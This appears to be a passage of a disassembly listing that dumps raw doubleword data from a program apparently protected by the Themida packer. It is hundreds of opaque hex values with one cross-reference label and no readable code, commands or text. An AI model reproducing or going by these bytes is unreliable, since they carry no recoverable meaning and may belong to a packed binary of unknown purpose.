84D083D4h, 8BD78BCCh dd 0CDA1CDD1h, 5615C6D9h, 5B36785Bh, 5975D3E9h, 4989A327h dd 13A1AA85h, 5615C49Fh, 0B52BEAC8h, 5B40232Ah, 5FB0758Eh dd 2CC92CAEh, 18A45E2h, 0DEF70000h, 0E55FBB07h, 0F2D11D86h dd 134E400Ch, 43DE4FC7h, 836B83E8h, 68B4A6B7h, 5EAAC0DFh dd 0A7BD7FF6h, 79E6B5B9h, 0F918498Fh, 7A2C262Eh, 1A35560Fh dd 2D2255CEh, 213966E1h, 2EE50BD5h, 15F0E683h, 39D9049Fh dd 417F5Bh, 5B170000h, 4C420EE9h, 0E04FC6B3h, 707CE841h dd 498E9E9Bh, 47F52ED1h, 0E6307C6Eh, 0EDF148Eh, 49954D56h dd 148A66FEh, 18560EDFh, 459146F9h, 0BD186EFAh, 0C4FF3712h dd 3941314Eh, 0A7525Bh, 81EC0000h, 22945869h, 124FC6B3h dd 66E12D25h, 48032A03h, 21F24017h, 0AA491F4Fh, 0F21B677Fh dd 7B6F101Bh, 8F43F42Fh, 435D1943h, 0A64FC75Fh, 0DBFC68B4h dd 0AEFAF006h, 99758C75h, 667EBEB5h, 0CD15F6FAh, 0E847498Ch dd 38845B7Ch, 74786400h, 5610B302h, 1243CF32h, 7021F13Dh dd 2FCAF516h, 1341104h, 0AABA0000h, 0A8A5F65Eh, 0ADA3F45Ch dd 0B0A6F761h, 0B4ABEC64h, 6971F068h, 0B59FEBE4h, 0B7A1EDE4h dd 0AFA9F5E6h, 88B0FCEEh, 9204C814h, 0A25615C7h, 6681FF43h dd 80E28218h, 34277DF1h, 70E841E8h, 45EF3B2Fh, 1D6981FBh dd 0F642163Fh, 6579231Ch, 0C6B31589h, 1EF8174Fh, 73DD2941h dd 38243CFCh, 8EF9E234h, 2C251249h, 610267E0h, 18F13A86h dd 6D6253F1h, 49DA4321h, 0BC024768h, 94203802h dd 560F4A1Eh, 19438F43h, 0E95D714Dh, 4B560F49h, 520D4AE4h dd 9BD83D06h, 76000000h, 75D3E95Bh, 60778D44h, 0CF360B14h dd 3921ED54h, 41353925h, 0F34FC6B3h, 0F38F30Ch, 3BE53B36h dd 116993DFh, 0EE57498Ah, 8F72ADF9h, 0D88AAD76h, 0DFF3A48Ch dd 0F0FC0DC9h, 5616327Eh, 53BA53AEh, 0AEFBBCD8h, 0E93F4597h dd 519DB52Ah, 0C410C2F3h, 9DB5E66Ah, 0ADA9D651h, 9CB9E661h dd 0B2A8D750h, 95D9CDA1h, 0B45BC688h, 0E0B6D24Dh, 0AEBA7A25h dd 63AFA992h, 83F381E8h, 0B1C68895h, 378EC44Eh, 98C410C2h dd 0D45EAABFh, 0DEF7E07Ch, 3D78892h, 3896CB7h, 45000000h dd 6B811763h, 5F73241Fh, 74671813h, 69801F28h, 5A75221Dh dd 6D62150Eh, 5D792621h, 6F691611h, 5E772823h, 56741912h dd 0C6815E54h, 4, 8704EE83h, 515C2434h, 0C181E189h, 4 dd 8704E983h, 895C240Ch, 0AB682414h, 89000014h, 0F168242Ch dd 8B064F11h, 0C4812414h, 4, 242C8B54h, 6804C483h, 222Ch dd 8F241489h, 2C8B0845h, 0E6895624h, 4C681h, 0C6810000h dd 4, 5C243487h, 5324148Bh, 0C381E389h, 4, 4C381h, 1C870000h dd 0C0E95C24h, 9DFFF966h, 96B0695h, 4F1620B8h, 0FFC50306h dd 326A05E0h, 0AAB69E1Dh, 0DCF3A06Bh, 6D273E02h, 1F41727Bh dd 333B7415h, 0A5869341h, 0B6051742h, 0BB2A341Dh, 755A0F39h dd 6C969032h, 3E49A03Bh, 45697014h, 98169F60h, 0AF61D75Dh dd 0EC88D666h, 0AE4EB568h, 61C6FE50h, 0E588FB24h, 0A2A3E942h dd 0C91C57Bh, 0A495FD4Dh, 7475763h, 0D748966Dh, 62F6CD25h dd 0EB04EB74h, 0E91F490Bh, 54Eh, 30287468h, 322A766Fh dd 312B7771h, 322A7670h, 322A7671h, 3126AB33h, 372A6BE5h dd 3B3071EBh, 3E1445EFh, 0A564AF2h, 15CA5046h, 0BD01E456h dd 221D6981h, 260E5A75h, 16115D75h, 855B7169h, 0F21BEE39h dd 14F0639h, 23E853EAh, 294523F3h, 4FC71335h, 36F118F7h dd 0CC4184DAh, 15D90516h, 4FC713A1h, 6EE06C93h, 0BE4FC713h dd 0D192CA63h, 3B30091Ah, 7FCD34EFh, 4FC7130Fh, 0D11D381Dh dd 0F31AF356h, 1D696455h, 5BF33F22h, 62DD293Ah, 57D01C35h dd 66E12D28h, 56D11D39h, 0D481441Ah, 38C8A2CAh, 5FD13803h dd 7E55CA09h, 81590A32h, 0E962EA35h, 784FC702h, 6B0C1763h dd 451C2773h, 37F03C12h, 9D488BB1h, 5CD2315Fh, 54F16547h dd 643Ch, 348FF000h, 0EF2B32CFh, 81350F2Bh, 337F5369h dd 61156EDAh, 40D55FB2h, 680439D5h, 4FC6C4F4h, 0AF25E016h dd 54F12814h, 16Fh, 64810700h, 44750F18h, 67F8428Eh, 1546226Eh dd 30262A3Bh, 44FC6B3h, 152A041Dh, 82566C62h, 0F454CF36h dd 8AD68FA8h, 7BC79EC1h, 0F3D28892h, 211B677Eh, 361E6A80h dd 7E55864Ch, 610F932h, 73687E59h, 7E62FE27h, 0C6B2FC72h dd 36D1304Fh, 0A464BC66h, 0B58AA491h, 0C47FCB82h, 9A061765h dd 0F2E3983Bh, 0C20157E3h, 1A46924Dh, 40DA2641h, 47934718h dd 39855BFCh, 0A45F57EEh, 52440834h, 0E24FC713h, 4E61F33Fh dd 3554F173h, 90h, 1A6681C9h, 2E7A6E11h, 6BD13F5h, 0D28AD691h dd 0A9C0D691h, 0DC7BC45Dh, 0E2F3EC02h, 0C6B3980Eh, 8C759C4Fh dd 0E957AE93h, 80CB17D0h, 8DB88DA9h, 0A5FE6EA5h, 0C69C6766h dd 0AF58B17Ah, 53043A04h, 16EB3480h, 2C355AFCh, 624E54F1h dd 0E8000000h, 95506681h, 5884E049h, 0C6B32294h, 2C25124Fh dd 58ED49E0h, 5FE83427h, 39142A40h, 36CF32EDh, 47934AEDh dd 0F7CE04FCh, 6FA6FC4Ch, 0EEFFD6FFh, 0C6B36CE2h, 0C861C04Fh dd 0CF90AA7Fh, 1A64CC18h, 0F186481h, 0C6B30E85h, 0F9DCFA4Fh dd 0A599B589h, 874FC6B3h, 0B3D08EA8h, 0D054F115h, 1, 1B678166h dd 2F7B6F10h, 0E71E34F4h, 2A125E72h, 6DDBF153h, 8EBDAA61h dd 411D3E49h, 3BD72AF5h, 1E6A80E5h, 5AE53C25h, 6BD9253Dh dd 184B974Ah, 0D039F23Eh, 99511246h, 0C780CC83h, 780B7A60h dd 3CE5D8E5h, 5A525AE5h, 18560F2Dh, 0EA5C704Ch, 4A560F2Ch dd 17579E7h, 33560F2Dh, 0B51042CCh, 76DE2A40h, 66E12D25h dd 4AD52139h, 0F76CA7FFh, 0FB9D97E3h, 5B398FE8h, 1719Bh dd 0E95B3300h, 8F4475D3h, 0B2FC727Eh, 0D1304FC6h, 7955EF38h dd 4FC6B305h, 15210827h, 9348714Dh, 925FC47h, 8EB8A661h dd 0FFF11249h, 8C3BFD0Eh, 0E449DF3Bh, 0ADC124C3h, 0CB54ADB4h dd 0B7CD88B1h, 7ACF58A4h, 65B19893h, 0FDD1E2F8h, 560F5189h dd 0D384ABh, 0B2E34DB4h, 0ACCB54A0h, 90E16AB6h, 0F5A8DB44h dd 0AA38AAA6h, 960BCA90h, 9EC078C4h, 5B393001h, 81CD9EB7h dd 74BE0ADEh, 68B3h, 99506900h, 0A36FD24Dh, 0CF055B99h dd 0EC841071h, 0ED8BED82h, 0D24D994Ah, 0B3B7A36Fh, 4FC77A93h dd 0C7E55EC1h, 4FC77AD7h, 3A2E0733h, 3C573EECh, 80A99BA9h dd 0C661A4B6h, 0D5066292h, 8C75AEFAh, 7016DA82h, 9E4FC76Ah dd 0B793A4BDh, 4FC76AC7h, 0E863CA65h, 8C73B581h, 8E4F8A4h dd 4FC76A96h, 7C9F7B96h, 8Ah, 965A8612h, 4FC6B320h, 0E21ED14h dd 162A162Eh, 63DC2825h, 3F3834FEh, 0ED498EB9h, 74661912h dd 3737763h, 31560EBDh, 0BD0C82CEh, 120560Eh, 7B6F3028h dd 2158F42Fh, 95560EBCh, 0DB8F04BFh, 6ECEA58Fh, 7CE6EA56h dd 0EA4FD1B0h, 55CE1AD1h, 4A964BECh, 1C0E2801h, 550D2AF5h dd 0D0362844h, 1BF64FCDh, 61F739F2h, 1F3507A2h, 213C1D41h dd 410A560Bh, 7DF541E8h, 4990C315h, 2440F817h, 0BD423438h dd 0FF2560Eh, 0E95B3903h, 854975D3h, 4FC6B311h, 0EA358158h dd 610EF17h, 0A628925Eh, 0FD244989h, 0F13D1542h, 0F8441647h dd 0BCC4252Fh, 22785D0Fh, 307C6EE3h, 37835708h, 47934BECh dd 17404CFCh, 0D52CF743h, 47BC1739h, 45194793h, 0FB33529h dd 291D316Fh, 0B6F0FB3h, 1723FE24h, 0FE4C1E3Fh, 3134EC36h dd 4FD83153h, 3EEh, 1763A400h, 241F6B81h, 18135F73h, 1F287467h dd 221D6980h, 150E5A75h, 26216D62h, 16115D79h, 28236F69h dd 19125E77h, 0E6895674h, 4C681h, 0EE810000h, 4, 5C243487h dd 56243489h, 0C681E689h, 4, 8704EE83h, 895C2434h, 89522404h dd 4C281E2h, 81000000h, 4EAh, 24148700h, 2414895Ch, 4F171968h dd 24048B06h, 8304C483h, 248904ECh, 24048324h, 50535A04h dd 85A895Bh, 24148B5Bh, 5E08950h, 4, 405h, 24048700h, 24048B5Ch dd 81E78957h, 4C7h, 4C78100h, 87000000h, 0E95C243Ch, 0FFF960FBh dd 63D14819h, 0D6B823EFh, 3064F1Bh, 50E0FFC5h, 813FFBF3h dd 0B40271A8h, 0E92811A8h, 0EDh dword_5AE9F0 dd 0D88C6660h, 840F04A8h, 0DFh, 245B58Bh, 0FE830648h, 22850F00h ; DATA XREF: Themida_:0053F958o dd 0C6000000h, 48276D85h, 69684506h, 0FF8E7269h, 482C21B5h dd 1E858D06h, 0FF064B83h, 698589D0h, 8B06482Ah, 0E93E80F0h dd 31850Fh, 858D0000h, 64D6265h, 0BD8BD0FFh, 6482279h dd 1184C781h, 0B58B0000h, 6480245h, 8B9F787h, 0F3000000h dd 45B58BA4h, 8D064802h, 4BB8A685h, 8BD0FF06h, 482979B5h dd 0FE8306h, 22850Fh, 85C60000h, 648276Dh, 0BEF46854h dd 0B5FFFF4Eh, 6482C21h, 831E858Dh, 0D0FF064Bh, 29798589h dd 0F08B0648h, 0FE93E80h, 3A85h, 79B58B00h, 8D064829h dd 4D626585h, 8BD0FF06h, 482279BDh, 84C78106h, 83000011h dd 0B58B08C7h, 6482979h, 8B9F787h, 0F3000000h, 79B58BA4h dd 8D064829h, 4BB8A685h, 61D0FF06h, 81858DC3h, 89064F1Ch dd 482BE985h, 12E806h, 0E7450000h, 0BE58FA36h, 21804C49h dd 0A94A45EEh, 7010E83Dh, 5ED08B66h, 7E9h, 765AA100h, 8BEB72DFh dd 72DEC681h, 860F0000h, 11h, 0BE8h, 0CB67D700h, 37B2C23Dh dd 365DD0D1h, 1C86B859h, 0B70F0000h, 6636FFD3h, 5B12F6BFh dd 7810Fh, 80600000h, 0CB8B49F3h, 0BCEB8161h, 0E962B291h dd 0Eh, 0C9493535h, 1AC8E326h, 31C79AA0h, 0C3816902h, 6DDD33Eh dd 0C5F6C381h, 860F5E19h, 3, 89FA8B66h, 0C88B661Eh, 8104EE83h dd 135EEC9h, 850F4839h, 14h, 25E9F08Ah, 39000000h, 6CC8F5F8h dd 0D0695EE5h, 7F5B2EC5h, 0E9CB8B66h, 0FFFFFF8Dh, 5F22B2AFh dd 2FF96FB0h, 8C2618D3h, 0F75995BEh, 0CE6D04EBh, 68E92DD0h dd 2D000005h, 3071EB37h, 2E6FE935h, 1546EE3Ah, 1243ED39h dd 0D847F13Dh, 26726DF2h, 28746D2Eh, 307C6F30h, 37835708h dd 795599FDh, 5615D105h, 8182CC27h, 75221D69h, 0E320E5Ah dd 0C6B34C42h, 0E641E04Fh, 909BA0Bh, 292D0954h, 0D166278h dd 902A786Ah, 0A8BD8ED3h, 78C49ABDh, 78B35AAFh, 6ADCF0CCh dd 0CA4FC75Dh, 0D38ACB67h, 166CBC87h, 4C984ABFh, 0C410C7F0h dd 0B46FBB93h, 0CC8DC14Dh, 0C19DCB17h, 0C75DB9ADh, 7A947B4Fh dd 82CE85D6h, 0ADC396C9h, 1F6C65B3h, 94B2946Ah, 0F14FB26Dh dd 0C75369DDh, 0BD64CB4Fh, 3097E9Fh, 0B0477A07h, 4FB26DB9h dd 0A5E35CB6h, 6C7FF4CFh, 73673820h, 1B901C27h, 0EB4FC6BEh dd 0B980EC5h, 0AD54F121h, 6C076E54h, 824E4D13h, 4FC5B90Ch dd 0E280120h, 6921h, 6981B500h, 617A221Dh, 317D6E84h, 0B7F84FD8h dd 2FDB557h, 620A24FDh, 4FC702EAh, 0B146077h, 1A25716Ch dd 32DD388Eh, 0B8B18AB6h, 55B0A26Ch, 0F165C4DFh, 1BF54h dd 81570000h, 700F1864h, 811E2975h, 710E1965h, 3C886076h dd 3C071E03h, 43FC481Bh, 8A3590E6h, 0FC7154AAh, 0C915CBE1h dd 0B3A7F860h, 8C75C19Dh, 6681DAA4h, 776E111Ah, 0F951202Bh dd 5CAAA51Ah, 0DCD328D5h, 0B45DC00h, 5D73664Fh, 15EC3783h dd 1D3522ECh, 2F2956D1h, 485985E3h, 0DC06A608h, 1E90DCFEh dd 0E4FC707h, 3DE43029h, 906492E2h, 9C763F76h, 0F9DCFAA3h dd 0F126F083h, 979354h, 38490000h, 0DAC015C2h, 626EDAD6h dd 4FC72EECh, 0EF55E140h, 2F7B5586h, 2D09550Ch, 60EB3730h dd 62DD293Fh, 57D01C35h, 68E32F28h, 0B05BBAE0h, 56CB0A60h dd 5AFB3581h, 2D796F85h, 2DF60FF2h, 0E634260Fh, 21ED95EFh dd 3F08214Ch, 570F50EAh, 0D242D409h, 12FB28FBh, 8F466C19h dd 0F13D7619h, 670D54h, 81A10000h, 6E111A66h, 49F6317Dh dd 2007408Ch, 1ABCEABEh, 2F291A92h, 0B20868E3h, 0BC08DE53h dd 0E5879E83h, 0B5A9C599h, 774FC774h, 0F9DC7E98h, 0D57FCB84h dd 1864816Bh, 8F44750Fh, 15210843h, 0C6B2E65Dh, 11F4224Fh dd 54A0B8A1h, 16079CBAh, 88B154F1h, 60C982CEh, 0B59D6h dd 2A0B0000h, 0CF32ED39h, 0F2B776Ch, 1B678135h, 2D7B6F10h dd 0FCD8FEDAh, 0CF1B3252h, 0FF4B0536h, 0FB44DD44h, 0EC37835Ch dd 14A964Bh, 2FDA394Fh, 37AC67FDh, 145BD521h, 0C300C24h dd 4A26372Bh, 4FC6B354h, 57D039D8h, 174C28F2h, 15498EBEh dd 746D4EFAh, 0C2178763h, 0FA15560Eh, 0E5311813h, 152B3F60h dd 2C18F13Dh, 3D06520Bh, 146073E4h, 4D0556FAh, 2CD52137h dd 2E202C10h, 0FE560EC2h, 0C21C925Eh, 0F110560Eh, 0E22E2718h dd 11360069h, 0EC21183h, 0B40F6556h, 75DF2B3Fh, 69E22E24h dd 0A19EE23Bh, 76B1FDD4h, 27537893h, 0C496C753h, 0C62AF78h dd 687E54C9h, 5008216Dh, 3940710Eh, 140125Bh, 0F6CA0000h dd 0ED264DAh, 0CA9FC856h, 0C55CC57Eh, 1D86D369h, 743BD23Dh dd 979A74BBh, 9DB18FA5h, 498F5062h, 9191F2CEh, 0B7828FBCh dd 4E80F682h, 4DB4560Fh, 87C05FC1h, 79ED01DDh, 0BB560F4Eh dd 0C59DBA54h, 0B7A3BF79h, 0F4EC3B3h, 67B3A656h, 89D660BFh dd 9DBA85D1h, 63AE79C5h, 7F53C80Bh, 2A241533h, 5AFC54DEh dd 5B39B045h, 3E3Eh, 0FF8DF600h, 0B177FDA0h, 5BA19B77h dd 5D71CF05h, 4FC6B2B9h, 4C0435h, 0D258E247h, 0E658F42Fh dd 244FC6B2h, 0D87C17EEh, 0D2BDD4A6h, 83AAFFAAh, 66509E5h dd 0C8674FC7h, 948D90h, 5B410000h, 4975D3E9h, 0C6B31185h dd 3480584Fh, 7BE733CEh, 135F765Fh, 323834F8h, 0DC362436h dd 8EE81790h, 61EA4549h, 4F1B2C3Eh, 560ED85Fh, 61DB32CDh dd 82DE2A40h, 8E338159h, 2A768CA0h, 0BA838F76h, 0EDAF7B2h dd 0BE156B56h, 0B459149h, 33371424h, 560EDB43h, 49F70EF1h dd 0D1D4D885h, 2237204Fh, 86E63CD6h, 0CDE8F46Ah, 30D9384Fh dd 469248F7h, 0DB27411Ah, 281DF950h, 2C401C68h, 4FCDE93Ah dd 55FB17FAh, 4B61E37Eh, 0E324511Dh, 0F71A4990h, 0E95B033Dh dd 704975D3h, 1F392A76h, 22B47D3h, 304989ADh, 312956D1h dd 30FB471Bh, 231430D9h, 64AE430h, 0F6317D55h, 0A876B85Eh dd 69AC026Ah, 0AA92DEF4h, 8A95E1F9h, 9AA5F1EDh, 0C83D98EEh dd 0CD8EC612h, 9F7EC915h, 3, 81176333h, 73241F6Bh, 6718135Fh dd 801F2874h, 75221D69h, 62150E5Ah, 7926216Dh, 6916115Dh dd 7728236Fh, 7419125Eh, 765868h, 24248900h, 4BF57h, 7C010000h dd 515F0424h, 0C181E189h, 4, 4E981h, 0C870000h, 2C895C24h dd 484E6824h, 1C890000h, 7CBF5724h, 81018134h, 0DF4C15EFh dd 0A6F7815Dh, 0D1354973h, 81D7F7E7h, 0B12FB7CFh, 55C78146h dd 572F8F2Eh, 8B545F5Dh, 0C481241Ch, 4, 1FA668h, 24048900h dd 4389E889h, 1C8B5808h, 0E0895024h, 405h, 4C08300h, 5C240487h dd 5D2434FFh, 0E904C483h, 0FFF959ABh, 0EFA0B5B8h, 0E74FB926h dd 0B8FCDF20h, 64F2325h, 0E0FFC503h, 3E911647h, 28CF6FC1h dd 6C8B35E9h, 3F790753h, 293B4F1Dh, 11789EEEh, 5C262A69h dd 39E49440h, 721104FDh, 64C83424h, 71275277h, 3C5F5668h dd 21A24A3Bh, 5902DFD5h, 0DA53Dh, 77CDAC7Ch, 62FFAC81h dd 5C353428h, 5D678B3Ah, 1452B314h, 2403887Dh, 4EA20E9Eh dd 3553FBA8h, 217B283h, 5BE022C0h, 72C42059h, 4189D074h dd 3872530h, 7DB831F8h, 25248D8Dh, 6A064Fh, 3E853h, 5B200000h dd 5C895BC3h, 44810424h, 160424h, 53430000h, 85249BC3h dd 0AC1B589h, 8D890648h, 6480A19h, 0F700E381h, 85C753E2h dd 6480F35h, 5B14h, 2295858Bh, 85C70648h dd 6482425h, 0 dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 1Ch, 1FC35242h dd 0FBD4C596h, 0E46095FFh, 18D7D081h, 0B5FF1D04h, 648228Dh dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 1Ch, 0ACC35040h dd 9AF2DFF6h, 9675B1F1h, 0FF92B7F8h, 4820BD95h, 50006A06h dd 3E8h, 0C3582000h, 24448958h, 24448104h, 1504h, 0C3504000h dd 0AE9D6ECh, 0CB000000h, 9C3A604Bh, 0F98B7A48h, 0ADB58913h dd 6606482Dh, 6B41DF81h, 95FF006Ah, 6483061h, 1AEBC08Bh dd 17BDB48Ch, 4D5B04AEh, 9AE2A9D9h, 0B523DE81h, 0D4622899h dd 4A47EBAEh, 4EB85D3h, 0B40BF88h, 0C3FE9h, 26E36800h dd 4E9064Fh, 68FFF958h, 64F27DBh, 0F957FAE9h, 29D368FFh dd 0F0E9064Fh, 68FFF957h, 64F2AF7h, 0F957E6E9h, 2DE968FFh dd 0DCE9064Fh, 68FFF957h, 64F2F67h, 0F957D2E9h, 303468FFh dd 0C8E9064Fh, 0EDFFF957h, 0F0B1ABF7h, 0EEAFA9F5h, 0D586AEFAh dd 0D283ADF9h, 9887B1FDh, 66B2AD32h, 68B4ADEEh, 70BCAFF0h dd 77C397C8h, 0B995D9BDh, 5615D8C5h, 86428C67h, 0F42F7B55h dd 934DF20Dh, 0FFEEFF4Bh, 0E4302233h, 3D18415Bh, 47D336F1h dd 17334416h, 4FC71727h, 48032A05h, 2FF84417h, 33A86B01h dd 3869D31Fh, 3D69D31Fh, 352B411Ch, 220740E9h, 47934718h dd 3B875BFCh, 59746501h, 0DD449043h, 0FC33FF62h, 3B875A3Ch dd 54F019F0h, 8EF62B78h, 99C8149h, 72E2074Dh, 74004BE2h dd 560F92FEh, 6C625369h, 0F8422720h, 922DA362h, 0F15B39F1h dd 31h, 0D3E95B85h, 9E825975h, 45EC498Eh, 0DEF872FAh, 6C69560Eh dd 5D782720h, 70691611h, 0E7461B24h, 0DC89348Fh, 16A91FF6h dd 6D5B3942h, 0BDh, 1D698101h, 0E5A7522h, 24706215h, 1A667C1Bh dd 0B67B9622h, 0CC9E4FC6h, 0A9C8AB7Eh, 14ED1AEDh, 51677B1Ch dd 6ED34C98h, 0CCF08C97h, 0C6EB8E00h, 0B7839E4Fh, 0BCA8C080h dd 8ED31BB0h, 62ED149h, 49F70D2Fh, 0D412F985h, 78E44B4Fh dd 703A885Fh, 67D06EAEh, 5EFF39D0h, 135F7389h, 226E6718h dd 9A14220Bh, 0D7CCBDC2h, 0A0EA98Ch, 0CE9E0000h, 0CC89DA82h dd 0D187D880h, 0D48ACB85h, 0D88FD088h, 0DB5A48Ch, 0D983CF88h dd 0CB85D188h, 0A38DD98Ah, 9C94E0F2h, 66D8F438h, 0C65615D9h dd 6681232Fh, 6981221Ah, 44163F1Dh, 34EF3B2Eh, 16EB34CDh dd 340854FCh, 0C6B32618h, 0F2B064Fh, 0D3E95B35h, 9E825975h dd 7BEC498Eh, 39F21B67h, 0EDF271Bh, 0B3124056h, 3941A23Dh dd 0EDE15Bh, 6A930000h, 1E59495Bh, 233D1E16h, 81013BD7h dd 75221D69h, 0D238495Ah, 4D47D0C5h, 0B9352947h, 18F74FC6h dd 3EE73327h, 10465705h, 0BF6E0E44h, 31C8A46Eh, 544FC74Ah dd 590A327Eh, 2E073581h, 1B24EE3Ah, 337F5881h, 320511F8h dd 824EFA12h, 498F3169h, 0D7005CC3h, 956CB703h, 0D862AEA2h dd 7187B980h, 0DF9EF7D3h, 6D944FD4h, 6FDFEBCFh, 0BD4FC8C5h dd 0AB8CD862h, 0AFF068B4h, 669E6CB8h, 43CCBD3Bh, 91605F8h dd 0B6A60000h, 0B4B1F26Ah, 0B9AFF068h, 0BC92C36Dh, 0C097C870h dd 755DBC74h, 0B1ABF7F0h, 83ADF9F0h, 7BB501D2h, 94BC08DAh dd 9E10DC00h, 8E5615DAh, 6681EB37h, 0F4D52E1Ah, 0E9352A09h dd 0FE200B5Eh, 0CF1B340Bh, 0FA14ED54h, 39310A56h, 0FA322428h dd 1F024FC6h, 372B2C06h, 43571EBh, 0DC45FE4Ah, 111A667Bh dd 8168DE38h, 163F1D69h, 0D52CF743h, 7F530439h, 0F56D0933h dd 6C4FC6B2h, 15896576h, 174FC6B3h, 60EB372Eh, 4F092009h dd 17105C0Eh, 1D267268h, 0AA1FF64Ch, 62AEA2B8h, 0B4CF91CBh dd 0CF54F115h, 0A3h, 0D3E95B67h, 7A704975h, 3F88E42Eh dd 6D498E94h, 87FB9992h, 0DA560ED9h, 0CE71BA06h, 0D256D11Dh dd 0A3BE69ACh, 0C5DA50B3h, 0BE5B3937h, 73h, 0B31D9658h dd 1E1E4FC6h, 81965A06h, 0B3498EABh, 0FC9EFE4Ah, 0D18F2991h dd 1036D187h, 3FF910E9h, 5FFD491Eh, 0B8D0D3Eh, 65B118B1h dd 91A799E0h, 0E0E897B3h, 0EB464FD6h, 0EF3B3071h, 392F0834h dd 43CF32EDh, 8344CECh, 8EE6A344h, 0A9A49149h, 11C6135Bh dd 0A38AE68Ah, 6D96D28Ah, 0C0505352h, 0A776C06Bh, 500h dd 15896579h, 17560F9Ah, 5B281EF8h, 4475D3E9h, 5807408Ch dd 17EA3581h, 343824EEh, 498EC057h, 93212A05h, 560EC01Fh dd 8A437448h, 0A75EF43Eh, 0DC22E637h, 62222C20h, 471A2571h dd 7D0254DEh, 65B3942h, 4B8h, 28AA4FA0h, 78640018h, 0C6B30274h dd 43CF324Fh, 960C5317h, 0D73A498Eh, 0A9EF0A06h, 4CECEC4Bh dd 3340834h, 7C26014Dh, 33CD7A5Fh, 0C62941CDh, 88F91BB2h dd 69DB9EA9h, 7FD9F553h, 0E7F35270h, 45D11DCEh, 3C203CE3h dd 55703E30h, 0ACA6EBFFh, 0AB92ABA4h, 0CA929C83h, 0BE0AC5F6h dd 0C5929C85h, 0C697C10Dh, 2C6AC814h, 6D6331E9h, 71E53C2h dd 0BEAE0000h, 0BC99CA72h, 0C197C870h, 0C49ABB75h, 0C89FC078h dd 7D45D47Ch, 0A993DFF8h, 9B95E1F8h, 0B39DE9FAh, 0ACA4F0E2h dd 76E80428h, 0B65615DCh, 5586131Fh, 0DF42F7Bh, 0B32B1B2Fh dd 26094FC6h, 4B974B0Ch, 0DEDE041Dh, 0E510E5DCh, 1B1DF449h dd 32DB273Bh, 57112A16h, 0D0432F0Bh, 98498EDEh, 0D05BA7BFh dd 1FA698B4h, 0AB86560Fh, 0BA06E182h, 0AC7E9871h, 0EAFED785h dd 0EFC8949Eh, 0D788B0FCh, 0D56FB804h, 1F71E5E9h, 5CC3560Fh dd 1FA49AD2h, 0D8D2560Fh, 63560F0Fh, 0C19DCBE1h, 0F2FB9ADh dd 0A8947B56h, 0F2FB2A4h, 939F8256h, 36A803C7h, 7B964FD7h dd 8FA894B0h, 0AC958EDAh, 0C72AAEA0h, 97A37E4Fh, 0C72A67DBh dd 0F3D2004Fh, 0F18C627Dh, 132154h, 5BB50000h, 5975D3E9h dd 498E97DAh, 0C332ED14h, 2Fh, 8D1D867Fh, 15088B7Ah, 390B2E08h dd 3E144523h, 2C882EF0h, 8D741D74h, 0F763AF92h, 95E1F2E3h dd 0A8F4ED8Ah, 2EBDB581h, 498EF1h, 81602621h, 0FB0D1D69h dd 0BECCBF29h, 5FA8075h, 0DA8A0000h, 0D8F5A68Eh, 0DDF3A48Ch dd 0E0F6A791h, 0E4FB9C94h, 19C1A098h, 0C56FBB94h, 0C771BD94h dd 0BF79C596h, 0D880CC9Eh, 0E2D498C4h, 525615DDh, 0E95B2F73h dd 0A25975D3h, 0C498EA7h, 657D1A25h, 540A2B19h, 50EA3F08h dd 9D776C08h, 90C46ED5h, 0A29B0460h, 7618A0E9h, 0E8342718h dd 28300A5Fh, 6BD9EF51h, 0EF5F6B4Fh, 3D70CA8Fh, 8F1C58E2h dd 5D6A9298h, 0FFD689C2h, 446C95B3h, 776C425Ch, 0C7AEA26Ch dd 0DD015F75h, 1E35A001h, 999D9933h, 1268CBBBh, 6CC66977h dd 0DA6FA300h, 0CA769970h, 92A294B9h, 7D996799h, 9EB6ACC8h dd 0B5AB70CAh, 0A8C1DE69h, 0EFC5E35Ch, 0D6FC6914h, 0FCF689FFh dd 0FF8D75F4h, 21000000h, 75D3E95Bh, 8EA7A259h, 1A250C49h dd 974F657Dh, 297AE24Bh, 425AE531h, 560858E1h, 590A94D4h dd 8448F40Dh, 560F7112h, 3733FF22h, 6ED646C4h, 46BB1A70h dd 4F104894h, 0A8D44F9Bh, 37C6B894h, 0CCA070CAh, 70CA37DAh dd 0B04FB75Ah, 0D150E66h, 273D8991h, 176377ECh, 1A667C1Dh dd 0E1F74811h, 70D76783h, 0FA15560Fh, 3349FB42h, 6C0E3915h dd 1204FD7h, 0F5411946h, 0FC481A3Bh, 544D2943h, 4F254FC7h dd 9FEBFF74h, 77C398C1h, 0E9F7B39Bh, 563B932Bh, 4A76D202h dd 1B4C1086h, 31FD24C4h, 1A667C1Dh, 0AD838311h, 61B73DD5h dd 0E9352DA2h, 39855A7Bh, 57FF1BEEh, 5C085406h, 0C17637Bh dd 54BA5633h, 230AA10Ah, 59EB2E17h dd 0E8392543h, 54EEC6F0h, 86F854B4h, 0A641DA51h, 0B400D88Bh dd 0FDDE025Ah, 0B78A95E1h, 5B9074Ch, 42CCA1CCh, 0A247912Ah dd 7CB45B3Bh, 5999h, 0E95B3500h, 28014D09h, 9833303Ch dd 46E9498Eh, 61765FFDh, 0C3350A15h, 0AA5DC1BBh, 0ED6AC45Dh dd 0B703DAF0h, 0C46C956Ch, 0D6B0C65Bh, 9FBD4D65h, 0F37CBDBBh dd 917891DDh, 85D182B3h, 0B19DB1A9h, 0BD560F89h, 97B3C49Ch dd 560F89A7h, 0B783AA85h, 0C20EC471h, 937AC6A1h, 6981DBA5h dd 0FC3C331Dh, 137478E4h, 41498EA3h, 825982DEh, 32A766Ch dd 0BF40D59h, 0F2B0960h, 9D4E0F2Bh, 0CFCFD14Fh, 5BB2BEB2h dd 0A1B789D0h, 3134A7C3h, 17FA4FD7h, 5D0A800Ch, 0F314FC7h dd 10FB12F7h, 37CEC0CEh, 4C664509h, 2912498Fh, 0D355E12Dh dd 7549F32Ch, 4C118549h, 0FC23560Fh, 0F4BFE70h, 75D32E56h dd 0F4BE559h, 4EE84756h, 0F4C2C26h, 34253B56h, 0EC55CE1Ah dd 5FD53022h, 5B39AE44h, 2E3Fh, 0E95BD700h, 47004C09h dd 38F33F18h, 73D138D1h, 8E97DC57h, 34EF1249h, 24C1h, 0ABBF9B00h dd 560ED8BBh, 0FF6D9679h, 1A70FD0Ah, 5BA0A670h, 45009E9h dd 213FE63Bh, 8EBBBE4Dh, 96917049h, 1D6981D0h, 0BF29F50Dh dd 8A6BB4CCh, 308h, 0C078C498h, 